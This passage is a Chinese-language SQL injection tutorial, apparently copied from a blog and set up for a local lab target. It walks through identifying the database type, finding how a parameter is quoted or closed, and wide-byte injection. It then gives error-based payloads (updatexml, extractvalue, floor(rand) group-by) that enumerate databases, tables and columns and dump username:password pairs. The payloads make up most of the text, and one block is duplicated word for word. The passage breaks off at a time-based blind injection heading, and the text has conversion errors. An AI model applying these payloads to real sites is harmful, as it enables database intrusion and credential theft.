http://127.0.0.1/test.php?id=1 and (select count(\*) from sysobjects)>0 and 1=1
复制代码
2、access数据库
http://127.0.0.1/test.php?id=1 and (select count(\*) from msysobjects)>0 and 1=1
复制代码
3、mysql数据库(mysql版本在5.0以上)
http://127.0.0.1/test.php?id=1 and (select count(\*) from information\_schema.TABLES)>0 and 1=1
复制代码
4、oracle数据库
http://127.0.0.1/test.php?id=1 and (select count(\*) from sys.user\_tables)>0 and 1=1
复制代码
根据其返回的错误范例
ORACLE
ORA-01756:quoted string not properly terminated
ORA-00933:SQLcommand not properly ended MS-SQL
Msg 170,level 15, State 1,Line 1
Line 1:Incorrect syntax near ‘foo
Msg 105,level 15,state 1,Line 1
Unclose quotation mark before the character string ‘foo MYSQL
you have an error in your SQL syntax,check the manual that corresponds to you mysql server version for the right stntax to use near ‘’foo’ at line x
3.判断参数数据范例
通过+1、-1、and 1=1、and 1=2、注释符。与其各种变种如与各种符号结合的and 1=1、and '1'='1等等判断参数数据范例。先判断是否是整型,假如不是整型则为字符型,字符型存在多种情况,必要使用单引号【'】、双引号【"】、括号【()】多种组合方式进行试探。
类似判断闭合方式
id=1 and 1=1回显正常 id=1 and1=2回显错误(判断为整形)
【原因:and 1=1或者and 1=2 写入了sql语句并且执行乐成 因为1=2是错误所以id=1 and 1=2回显是错误的】
id=1 and 1=1和id=1 and 1=2回显正常(判断为字符型接下来判断闭合方式)
id=1' and '1'='1回显精确id=1' and '1'='2回显错误(判断为【'】闭合)
id=1" and "1"="1 回显正常 id=1" and "1"="2回显错误(判断为【"】闭合)
【原因同上】
判断为闭合方式为【'】型
以上注入不乐成的时间尝试
1%df’ 此为宽字节注入
参数范例一般有数值型,字符型
数值型
前台页面输入的参数是「数字」。
比如下面这个根据ID查询用户的功能。
背景对应的SQL如下,字段范例是数值型,这种就是数值型注入。
select * from user where id = 1;
写入and1=1 与and1=2回显不雷同说明后面的and1=1和and1=2对网页造成了影响,判断为数值型
字符型
前台页面输入的参数是「字符串」。
比如下面这个登录功能,输入的用户名和密码是字符串。
背景对应的SQL如下,字段范例是字符型,这种就是字符型注入。
select * from user
where username = 'zhangsan' and password = '123abc';
字符可以使用单引号包裹,也可以使用双引号包裹,根据包裹字符串的「引号」差别,字符型注入可以分为:「单引号字符型」注入和「双引号字符型」注入。
1)单引号字符型注入
参数使用「单引号」包裹时,叫做单引号字符型注入,比如下面这个SQL,就是单引号字符型注入。
select * from user where username = 'zhangsan';
2)双引号字符型注入
参数使用「双引号」包裹时,叫做双引号字符型注入,比如下面这个SQL,就是双引号字符型注入。
select * from user where username = "zhangsan";
3)带有括号的注入
理论上来说,只有数值型和字符型两种注入范例。
SQL的语法,支持使用一个或多个「括号」包裹参数,使得这两个基础的注入范例存在一些变种。
a. 数值型+括号的注入
使用括号包裹数值型参数,比如下面这种SQL。
select \* from user where id = (1);
select \* from user where id = ((1));
复制代码
包裹多个括号……
b. 单引号字符串+括号的注入
使用括号和单引号包裹参数,比如下面这种SQL。
select \* from user where username = ('zhangsan');
select \* from user where username = (('zhangsan'));
复制代码
包裹多个括号……
c. 双引号字符串+括号的注入
使用括号和双引号包裹参数,比如下面这种SQL
select \* from user where username = ("zhangsan");
select \* from user where username = (("zhangsan"));
使用id=1进行尝试尝试 继承使用order by 查询体现位 union select 1,2,3 查询无体现,即无法得到体现位或无法得到列数时放弃使用团结查询
尝试使用报错语句?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+等没有报错信息体现时放弃使用报错注入
尝试使用布尔盲注和时间盲注(发起使用工具进行注入)
团结查询注入
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
复制代码
或
?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
复制代码
或全部数据库名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name)from information_schema.schemata),0x7e),1) --+
复制代码
由于无法像团结查询一样一次性看到全部数据库名称,就必要使用limit参数逐个查询
?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
复制代码
指定命据库中表名
?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
复制代码
指定数据库中指定表中所有字段名
?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
复制代码
具体数据
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina'))))--+
复制代码
或使用limit挨个遍历
?id=1' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password) as char),0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+或?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
复制代码
或全部数据库名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name)from information_schema.schemata),0x7e),1) --+
复制代码
由于无法像团结查询一样一次性看到全部数据库名称,就必要使用limit参数逐个查询
?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
复制代码
指定命据库中表名
?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
复制代码
指定命据库中指定表中全部字段名
?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
复制代码
具体数据
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina'))))--+
复制代码
或使用limit挨个遍历
?id=1' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password) as char),0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
时间盲注